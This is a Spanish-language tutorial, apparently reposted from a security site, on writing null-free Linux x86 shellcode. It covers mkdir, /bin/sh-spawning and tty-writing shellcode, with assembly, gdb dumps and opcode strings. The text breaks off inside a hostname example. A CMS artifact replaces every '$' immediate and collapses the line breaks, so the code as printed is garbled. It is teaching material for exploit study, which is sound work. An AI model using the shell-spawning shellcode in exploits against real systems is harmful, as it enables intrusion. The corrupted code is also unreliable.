Home Hacking y Seguridad Buffer Overflows Diseando Shellcodes en linux IA-32(x86)

Ultimos Mensajes del Foro

Manual Aleatorio

Analisis forense de sistemas informticos (PDF)
Muy buen documento que describe lo que es la ciencia del analisis forense informtico, con un monton de temas muy interesantes.
Leer más...
Diseando Shellcodes en linux IA-32(x86) Imprimir E-mail
Hacking y Seguridad - Buffer Overflows
Escrito por SeSoX   
Excelente texto con el que sin duda alguna aprenderas a crear shellcodes en linux. Yo lo he echo y realmente he aprendido mucho :)

Texto Completo:
Diseñando Shellcodes en linux IA-32(x86)

By the_swede

Traducido por SeSoX para http://www.govannom.org


Introduccion 
------------ 

Aunque es aburrido y abstracto, el shellcoding es una habilidad importante
a aprender para entender los conceptos subyacentes de los sistemas
informáticos. La shellcode es también importante para la comprensión de
la seguridad de la computadora donde la shellcode se utiliza para explotar
aplicaciones vulnerables. En este artículo, trabajaremos en Linux usando
la arquitectura IA-32(x86). Seria de ayuda tener conocimientos de C y el
ensamblador IA-32 asi como del uso de gdb.


Primer Acercamiento
^^^^^^^^^^^^^^^^^^^
Normalmente el primer paso es conocer la numero de la funcion (o syscall) y
los argumentos que vallamos a utilizar. Para nuestro primer ejemplo, crearemos
un directorio llamado "1337". Para hacer esto, buscaremos primero el syscall
y los argumentos para la funcion mkdir. Una buena lista de las syscalls
se puede ver en: http://www.linuxassembly.org/syscall.html
Mirando ahí, podemos ver que la syscall para la funcion mkdir es 39(0x27) y
buscando en google o mirando en las man podemos ver que los argumentos para
mkdir son:


    int mkdir(const char *path, mode_t)   


El path de nuestro directorio debe ser un puntero y el mode_t es un entero.
El segundo paso que realizaremos sera escribir un programa en C que cree el
directorio llamado "1337".


mkdir.c 
------------------------------------------------------------------------ 
#include  

int main() 
{ 
    mkdir("1337", 0755); 
    return 0; 
}
------------------------------------------------------------------------ 



Obteniendo la Informacion
#########################

Tras escribir este codigo, lo compilaremos y lo ejecutaremos, luego
comprobaremos el codigo en ensamblador utilizando gdb en nuestro
tercer paso: 


------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.c 
eric@debian:~/shellcode$ ./mkdir 
eric@debian:~/shellcode$ ls -l 
total 16 
drwxr-xr-x 2 eric eric 4096 Nov 10 00:11 1337 
-rwxr-xr-x 1 eric eric 4810 Nov 10 00:11 mkdir 
-rw-r--r-- 1 eric eric 71 Nov 10 00:07 mkdir.c 
eric@debian:~/shellcode$ gdb -q mkdir 
(gdb) disassemble main 
Dump of assembler code for function main: 
0x80483f0 
: push %ebp 0x80483f1 : mov %esp,%ebp 0x80483f3 : sub {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x8,%esp 0x80483f6 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xfffffff8,%esp 0x80483f9 : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed 0x80483fe : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x8048474 0x8048403 : call 0x80482d0 0x8048408 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x10,%esp 0x804840b : xor %eax,%eax 0x804840d : jmp 0x8048410 0x804840f : nop 0x8048410 : leave 0x8048411 : ret 0x8048412 : lea 0x0(%esi,1),%esi 0x8048419 : lea 0x0(%edi,1),%edi End of assembler dump. ------------------------------------------------------------------------ El codigo funciona. Este creara un directorio llamado "1337" con los permisos 755. Si hubiera fijado mis permisos a 777, los permisos tambien habrian sido 755, debido a que el umask esta fijado como 022. Del codigo desensamblado podremos obtener la informacion que necesitamos para crear el codigo en ensamblador. Primero nos fijaremos en la quinta y sexta lineas: 0x80483f9 : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed 0x80483fe : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x8048474 La primera es la que establece el segundo argumento que indica los permisos del directorio. Estamos estableciendo los permisos como 0755, el cual traducido a ensamblador/hexa se interpretaría como 0x1ed. Con la segunda linea, introducimos una direccion de memoria. Esta direccion de memoria esta apuntando al nombre del directorio que estamos creando, el cual esta almacenado en memoria en forma de string. Tras esto el programa llama a la funcion mkdir() y luego se sigue ejecutando en 0x8048408. Creando el codigo ensamblador ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Lo primero que debemos hacer es poner el nombre de nuestro directorio dentro del buffer. Haremos esto utilizando el stack. El stack nos permite poner datos en regiones de memoria contiguas. Puesto que el stack utiliza el sistema llamado LIFO(Last In First Out) o FILO(First In Last Out), tendremos que meter todo en el stack en orden inverso, con lo cual si el nombre del directorio es "1337" meteremos "7331". Solo podemos hacer esto con 4 bits y tambien tendremos que pasar el string de ASCII a hexadecimal. El equivalente en hexadecimal de "1337" seria 0x31333337 y como tenemos que darle la vuelta por lo que hemos hablado antes del LIFO, el resultado seria: 0x37333331. El string tiene que concluir con un byte nulo, por lo tanto el resultado seria el siguiente: pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0 pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x37333331 Ahora ya tendriamos nuestro string en una region de memoria contigua. En cualquier caso, para utilizar los parametros en cualquier llamada al sistema, podremos usar los siguientes registros: registros de 32-bits: EAX, EBX, ECX, and EDX registros de 16-bits: AX, BX, CX, and DX registros de 8-bits: AL, BL, CL, and DL Los argumentos introducidos en los registros de proposito general deben ser almacenados en orden inverso. Necesitaremos guardar primero el modo. Recuerda que lo guardaremos pasandolo a hexadecimal: movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %ecx Ahora debemos usar el puntero de pila como nuestro argumento de directorio. El puntero de pila (ESP) apunta al top de la pila, que es precisamente donde tenemos nuestro string (nombre del directorio). movl %esp, %ebx Cuando completamos esto, tendremos que introducir la system call que en nuestro caso es 0x27(o 39 en decimal) dentro del registro EAX y luego ejecutaremos la funcion con 'int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80': movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 La ultima parte de nuestro programa es para ejecutar la syscall de exit(). Queremos que devuelva 0 para terminar con una ejecucion satisfactoria. Para hacer eso, pondremos el valor 0 dentro de EBX. Lo cual conseguiremos haciendo 'xorl %ebx, %ebx' y luego daremos el valor 1 a EAX ya que la syscall de exit() es 0x1: xorl %ebx, %ebx movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1, %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 Juntando todo lo que hemos visto asta ahora, tenemos el siguiente programa: mkdir.s ------------------------------------------------------------------------ .section .text .global main main: pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0 pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x37333331 movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %ecx movl %esp, %ebx movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 xorl %ebx, %ebx movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1, %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 ------------------------------------------------------------------------ Parcheando el codigo ++++++++++++++++++++ Deseamos intentar evitar que nuestro codigo use 0's. Para empezar, se ve feo, y esto produce un numero de bytes innecesarios. Por ejemplo, no es necesario utilizar registros de 32 bits cuando estamos metiendo datos de solo 8 o 16 bits! Para propositos hacker, los bytes nulos (null) no se puede utilizar para nuestros exploits ya que estos bytes indican la terminacion de un string. En este caso, para solventar nuestro problema, haremos los siguientes cambios: pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0 | xorl %eax, %eax | pushl %eax movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %ecx | movw {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %cx movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %eax | movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %al movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1, %eax | movl %ebx, %eax | incl %eax Ahora que ya hemos aplicado el parche, tenemos el nuevo codigo: mkdir.s ------------------------------------------------------------------------ .section .text .global main main: xorl %eax, %eax pushl %eax pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x37333331 movw {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %cx movl %esp, %ebx movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %al int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 xorl %ebx, %ebx movl %ebx, %eax incl %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 ------------------------------------------------------------------------ Escribiendo la Shellcode ```````````````````````` Por fin ha llegado el momento de escribir nuestra shellcode. Necesitaremos compilar nuestro codigo en ensamblador y ver si este funciona: ------------------------------------------------------------------------ eric@debian:~/shellcode$ gcc -o mkdir mkdir.s eric@debian:~/shellcode$ ./mkdir eric@debian:~/shellcode$ ls -l total 20 drwxr-xr-x 2 eric eric 4096 Nov 10 02:24 1337 -rwxr-xr-x 1 eric eric 4593 Nov 10 02:23 mkdir -rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c -rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s ------------------------------------------------------------------------ Genial! Esto funciona! Ahora obtendremos los opcodes utilizando gdb. ------------------------------------------------------------------------ eric@debian:~/shellcode$ gdb -q mkdir (gdb) x/30b main 0x80483c0
: 0x31 0xc0 0x50 0x68 0x31 0x33 0x33 0x37 0x80483c8 : 0x66 0xb9 0xed 0x01 0x89 0xe3 0xb0 0x27 0x80483d0 : 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd 0x80483d8 : 0x80 0x8d 0x76 0x00 0x90 0x90 ------------------------------------------------------------------------ Ahora tendremos que copiar el resultado para pastearlo fuera del gdb en un fichero y hacer unos cambios. Tendremos que eliminar todo lo que hay delante de los ":"s, eliminar todos los espacios y buscar/reemplazar todos los "0x"s por "\x"s. Esto sera necesario para obtener todos los opcodes que estan antes del ultimo 0x80 o \x80, ya que el resto de los codigos no son necesarios para la construccion de la shellcode. Cuando hayamos terminado este proceso, el resultado seria como el siguiente: ------------------------------------------------------------------------ \x31\xc0\x50\x68\x31\x33\x33\x37 \x66\xb9\xed\x01\x89\xe3\xb0\x27 \xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80 ------------------------------------------------------------------------ Entonces nuestro shellcode dentro del exploit quedaria como este: mkdir.c ------------------------------------------------------------------------ #include char shellcode[] = "\x31\xc0" /* xorl %eax,%eax */ "\x50\x68" /* pushl %eax */ "\x31\x33\x33\x37" "\x66\xb9" "\xed\x01\x89\xe3\xb0\x27" "\xcd\x80" /* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80"; /* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 */ int main(void) { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ Ahora compilaremos y ejecutaremos nuestro shellcode para ver si este funciona. ------------------------------------------------------------------------ eric@debian:~/shellcode$ gcc -o mkdir mkdir.c eric@debian:~/shellcode$ ./mkdir eric@debian:~/shellcode$ ls -l total 20 drwxr-xr-x 2 eric eric 4096 Nov 10 02:44 1337 -rwxr-xr-x 1 eric eric 4755 Nov 10 02:44 mkdir -rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c -rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s ------------------------------------------------------------------------ Afortunadamente funciona! Construir una shellcode es una tarea complicada como podeis ver. Estoy seguro que si ha sido paciente para leer asta aqui, seguira leyendo. Mas Ejemplos ************ Vamos a ver otro ejemplo de escritura de shellcodes, escribiremos una shellcode para enlazar una shell. Esto se ve amenudo en el campo de la seguridad informatica. A menudo, los hackers enlazan shells en sus exploits de buffer overflow. Esto es posible cambiando la direccion de retorno en el stack (pila) para que apunte al codigo que enlaza la shell. Primero empezaremos examinando nuestra syscall(o funcion) en C. Para ejecutar cualquier aplicacion utilizaremos execve(). Execve() es una llamada al sistema y una funcion de C. Mirando el fichero unistd.h veremos que execve tiene el numero 11 o 0xb en hexadecimal. Entonces mirando las paginas man para execce encontramos cuales son los argumentos necesarios para execve(). int execve(const char *filename, char *const argv[], char *const envp[]) En C, obtendriamos un codigo como este: shspawn.c ------------------------------------------------------------------------ #include int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); return 0; } ------------------------------------------------------------------------ Ahora queremos escribir esto en ensamblador. Primero tendremos que crear nuestro path. El path es "/bin//sh". Se utiliza un extra "/" para que el string sea de 8 caracteres y asi meterlo en 2 instrucciones pushl completas por lo cual tambien valdria si utilizamos un string del tipo "//bin/sh". Entonces por supuesto, para terminar cualquier string, tendremos que meter un byte nulo. Nuestro segundo argumento es la matriz de caracteres entera. Y nuestro tercer argumento es un NULL. Para construir nuestro codigo, primero necesitaremos terminar nuestro string con un byte nulo: xorl %eax, %eax xorl %ecx, %ecx xorl %edx, %edx pushl %edx Ahora necesitamos poner nuestro string al reves, metiendo cuatro bytes en cada sentencia: pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x68732f2f pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6e69622f Ahora que tenemos nuestro string al completo dentro del stack, necesitamos moverlo dentro de un registro. El argumento del path en nuestra funcion de C es la primera, ahora sera la ultima, asi ESP, que esta señalando a nuestro string, sera colocado en EBX: movl %esp, %ebx Entonces tendremos que meter nuestro segundo argumento, que es nuestro string y un NULL y luego la ponemos en el registro correspondiente: pushl %edx pushl %ebx movl %esp, %ecx Una vez completado esto, podemos meter la syscall para execve, 0xb, dentro de EAX y luego entraremos en modo kernel (ejecutaremos). movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xb, %al int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 Finalmente debemos terminar nuestro programa con exit(0): xorl %ebx, %ebx movl %ebx, %eax incl %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 Ahora que tenemos esto, vamos a poner los pedazos juntos y construiremos nuestro codigo ensamblador. Los bytes nulos ya han sido eliminados: shspawn.s ------------------------------------------------------------------------ .section .text .global main main: xorl %eax, %eax xorl %ebx, %ebx xorl %ecx, %ecx xorl %edx, %edx pushl %edx pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x68732f2f pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6e69622f movl %esp, %ebx pushl %edx pushl %ebx movl %esp, %ecx movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xb, %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 xorl %ebx, %ebx movl %ebx, %eax incl %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 ------------------------------------------------------------------------ Ahora montemos el codigo y extraigamos los opcodes: ------------------------------------------------------------------------ eric@debian:~/shellcode$ gcc -o shspawn shspawn.s eric@debian:~/shellcode$ gdb -q shspawn (gdb) disassemble main Dump of assembler code for function main: 0x80483c0
: xor %eax,%eax 0x80483c2 : xor %ebx,%ebx 0x80483c4 : xor %ecx,%ecx 0x80483c6 : xor %edx,%edx 0x80483c8 : push %edx 0x80483c9 : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x68732f2f 0x80483ce : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6e69622f 0x80483d3 : mov %esp,%ebx 0x80483d5 : push %edx 0x80483d6 : push %ebx 0x80483d7 : mov %esp,%ecx 0x80483d9 : mov {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xb,%al 0x80483db : int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 0x80483dd : xor %ebx,%ebx 0x80483df : mov %ebx,%eax 0x80483e1 : inc %eax 0x80483e2 : int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 0x80483e4 : nop 0x80483e5 : nop 0x80483e6 : nop ---Type to continue, or q to quit--- 0x80483e7 : nop 0x80483e8 : nop 0x80483e9 : nop 0x80483ea : nop 0x80483eb : nop 0x80483ec : nop 0x80483ed : nop 0x80483ee : nop 0x80483ef : nop End of assembler dump. (gdb) x/36b main 0x80483c0
: 0x31 0xc0 0x31 0xdb 0x31 0xc9 0x31 0xd2 0x80483c8 : 0x52 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x80483d0 : 0x62 0x69 0x6e 0x89 0xe3 0x52 0x53 0x89 0x80483d8 : 0xe1 0xb0 0x0b 0xcd 0x80 0x31 0xdb 0x89 0x80483e0 : 0xd8 0x40 0xcd 0x80 ------------------------------------------------------------------------ Cuando extaigamos los opcodes, obtendremos nuestra shellcode: shspawn.c ------------------------------------------------------------------------ #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" "\x52\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x52\x53\x89" "\xe1\xb0\x0b\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ Cuando lo compilemos y ejecutemos, debe enlazarnos una shell: ------------------------------------------------------------------------ eric@debian:~$ cd shellcode eric@debian:~/shellcode$ gcc -o shspawn shspawn.c eric@debian:~/shellcode$ ./shspawn sh-2.05a$ exit exit ------------------------------------------------------------------------ Algunas variantes del codigo anterior existen en: http://uc.zemos.net/sc/UCexecve.c ======================================================================== Para nuestro tercer ejemplo, escribiremos el mensaje "Hello World!" en /dev/tty1. Primero buscaremos la syscall que necesitamos: int sys_open(const char * filename, int flags, int mode) -&- ssize_t sys_write(unsigned int fd, const char * buf, size_t count) Hay un aspecto crucial a la hora de escribir nuestro shellcode; la funcion open() devuelve un descriptor de fichero (fd). Escribamos primero nuestro codigo en c: vt.c ------------------------------------------------------------------------ #include #include #include #include int main() { int fd = open("/dev/tty1", O_RDWR); char[] buf = "Hello World!"; int len = strlen(buf); write(fd, buf, len); return 0; } ------------------------------------------------------------------------ Tras compilar este codigo, deberas hacer login como root, chvt al tty1 (chvt 1) y ejecutar el programa: ------------------------------------------------------------------------ debian:/home/eric/shellcode# gcc -o vt vt.c debian:/home/eric/shellcode# ./vt Hello World! debian:/home/eric/shellcode# ------------------------------------------------------------------------ El codigo en c ya nos funciona. Ahora tendremos que escribir el codigo en ensamblador. Comenzaremos analizando el codigo desensamblado utilizando gdb: ------------------------------------------------------------------------ eric@debian:~/shellcode$ gdb -q vt (gdb) disassemble main Dump of assembler code for function main: 0x8048450
: push %ebp 0x8048451 : mov %esp,%ebp 0x8048453 : sub {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x28,%esp 0x8048456 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xfffffff8,%esp 0x8048459 : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x2 0x804845b : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80485e4 0x8048460 : call 0x8048358 0x8048465 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x10,%esp 0x8048468 : mov %eax,%eax 0x804846a : mov %eax,0xfffffffc(%ebp) 0x804846d : lea 0xffffffec(%ebp),%edx 0x8048470 : mov {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80485ee,%eax 0x8048475 : mov (%eax),%edx 0x8048477 : mov %edx,0xffffffec(%ebp) 0x804847a : mov 0x4(%eax),%edx 0x804847d : mov %edx,0xfffffff0(%ebp) 0x8048480 : mov 0x8(%eax),%edx 0x8048483 : mov %edx,0xfffffff4(%ebp) 0x8048486 : movzwl 0xc(%eax),%eax 0x804848a : mov %ax,0xfffffff8(%ebp) 0x804848e : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xfffffff4,%esp 0x8048491 : lea 0xffffffec(%ebp),%eax ---Type to continue, or q to quit--- 0x8048494 : push %eax 0x8048495 : call 0x8048338 0x804849a : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x10,%esp 0x804849d : mov %eax,0xffffffe8(%ebp) 0x80484a0 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xfffffffc,%esp 0x80484a3 : mov 0xffffffe8(%ebp),%eax 0x80484a6 : push %eax 0x80484a7 : lea 0xffffffec(%ebp),%eax 0x80484aa : push %eax 0x80484ab : mov 0xfffffffc(%ebp),%eax 0x80484ae : push %eax 0x80484af : call 0x8048318 0x80484b4 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x10,%esp 0x80484b7 : xor %eax,%eax 0x80484b9 : jmp 0x80484c0 0x80484bb : nop 0x80484bc : lea 0x0(%esi,1),%esi 0x80484c0 : leave 0x80484c1 : ret 0x80484c2 : lea 0x0(%esi,1),%esi 0x80484c9 : lea 0x0(%edi,1),%edi End of assembler dump. ------------------------------------------------------------------------ Centremonos en las dos lineas previas a la llamada a open(). Estas hacen push 0x2 y push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80485e4. El primer push pone "O_RDWR" en el stack (pila). El segundo push esta metiendo la direccion de memoria donde tenemos almacenado el string "/dev/tty1" en nuestro stack (pila). Para escribir nuestro propio codigo, primero necesitamos meter un byte NULL en la pila q marcara el final del string. xorl %eax, %eax pushl %eax Ahora necesitamos meter nuestro string "/dev/tty1" en el stack. Los dos ultimos bytes deben ser introducidos por separado. Si los introducimos como "0x3179", entonces el ensamblador rellenara automaticamente los 2 ultimos bytes con ceros: pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x31 # Metemos el 1 pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x79 # Metemos la y pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x74742f2f # Metemos //tt pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x7665642f # Metemos /dev Ahora que tenemos nuestro string en la pila, necesitamos poner los argumentos para la syscall open. Primero movemos 0_RDWR(0x2) dentro de CL y luego creamos un puntero a nuestro string que esta en ESP con lo cual EBX apuntaria al string. Tras esto, ponemos el numero de syscall en AL y pasamos a modo kernel (ejecutamos): movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x2, %cl movl %esp, %ebx movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x5, %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 El valor de retorno para open() es un descriptor de fichero para /dev/tty1. Las funciones siempre devuelven el valor dentro del registro EAX. Pues bien, fd sera el primer argumento para la funcion write() por lo tanto lo meteremos en EBX. Esto sera lo primero que agamos para luego poner EAX como NULL y asi preparar la pila para meter nuestro string: movl %eax, %ebx xorl %eax, %eax pushl %eax Una vez hayamos completado esta parte, necesitamos meter el resto de nuestro string "Hello World!" en el stack: pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0a pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x21646c72 pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6f57206f pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6c6c6548 Ahora para acabar, nos quedan un par de pasos a realizar con write(), ponemos la syscall en EAX y saltamos al modo kernel para ejecutar la funcion: movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xd, %dl movl %esp, %ecx movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x4, %al int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 Para acabar, finalizamos el programa con exit(0): xorl %ebx, %ebx movl %ebx, %eax incl %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 Pero antes de escribir nuestro codigo ensamblador al completo, necesitaremos hacer una cosa mas. Dado que estamos utilizando registro de 8 bits, los primeros 24 bits pueden contener otro tipo de datos que podria causar que el programa se comporte de forma extraña. Para corregir esto, necesitamos poner a cero todos los registros del principio. EAX ya esta declarado como cero: xorl %edx, %edx xorl %ecx, %ecx xorl %ebx, %ebx Uniendo todo, el codigo resultante sera como este: vt.s ------------------------------------------------------------------------ .section .text .global main main: xorl %edx, %edx xorl %ecx, %ecx xorl %ebx, %ebx xorl %eax, %eax pushl %eax # Metemos un NULL pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x31 # Metemos el string /dev/tty1 pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x79 # "" pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x74742f2f # "" pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x7665642f # "" movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x2, %cl # movl %esp, %ebx # Hacemos que EBX apunte al string movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x5, %al # Metemos la syscall de open int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 # Pasamos a modo kernel (ejecutamos) movl %eax, %ebx # Metemos el resultado de open en EBX xorl %eax, %eax # Metemos un NULL en EAX pushl %eax # Metemos un NULL en la pila (stack) pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0a # Metemos el string Hello World! pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x21646c72 # "" pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6f57206f # "" pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6c6c6548 # "" movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xd, %dl # movl %esp, %ecx # Hacemos que ECX apunte al string movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x4, %al # Metemos la syscall de write int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 # Pasamos a modo kernel (ejecutamos) xorl %ebx, %ebx # Metemos NULL en EBX movl %ebx, %eax # Metemos NULL en EAX incl %eax # Incrementamos EAX (syscall de exit) int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 # Pasamos a modo kernel (ejecutamos) ------------------------------------------------------------------------ Tras ensanblar este codigo, puedes obtener las opcodes utilizando gdb. La shellcode que hay a continuacion es la shellcode completa que escribe "Hello World!" en /dev/tty1. vt.c ------------------------------------------------------------------------ #include char shellcode[] = "\x31\xd2\x31\xc9\x31\xdb\x31\xc0" "\x50\x6a\x31\x6a\x79\x68\x2f\x2f" "\x74\x74\x68\x2f\x64\x65\x76\xb1" "\x02\x89\xe3\xb0\x05\xcd\x80\x89" "\xc3\x31\xc0\x50\x6a\x0a\x68\x72" "\x6c\x64\x21\x68\x6f\x20\x57\x6f" "\x68\x48\x65\x6c\x6c\xb2\x0d\x89" "\xe1\xb0\x04\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ Podeis acceder al codigo original de vt en la siguiente URL: http://uc.zemos.net/sc estas shellcodes y alguna mas puedes visualizarlas aqui abajo. La idea para la shellcode vt fue conspirada por mikecc de Zemos tras ver mi shellcode original. Por que mikecc tiene superiores habilidades de programador, el manejo el codigo de la primera shellcode vt mientras que yo termine pocas horas despues. hostname.c ------------------------------------------------------------------------ /* author: the_swede * title: hostname * description: sets hostname to "1337". */ #include /* * xorl %eax, %eax * pushl %edx * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x37333331 * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x04, %cl * movl %esp, %ebx * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x4a, %al * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int {jumi [*3] 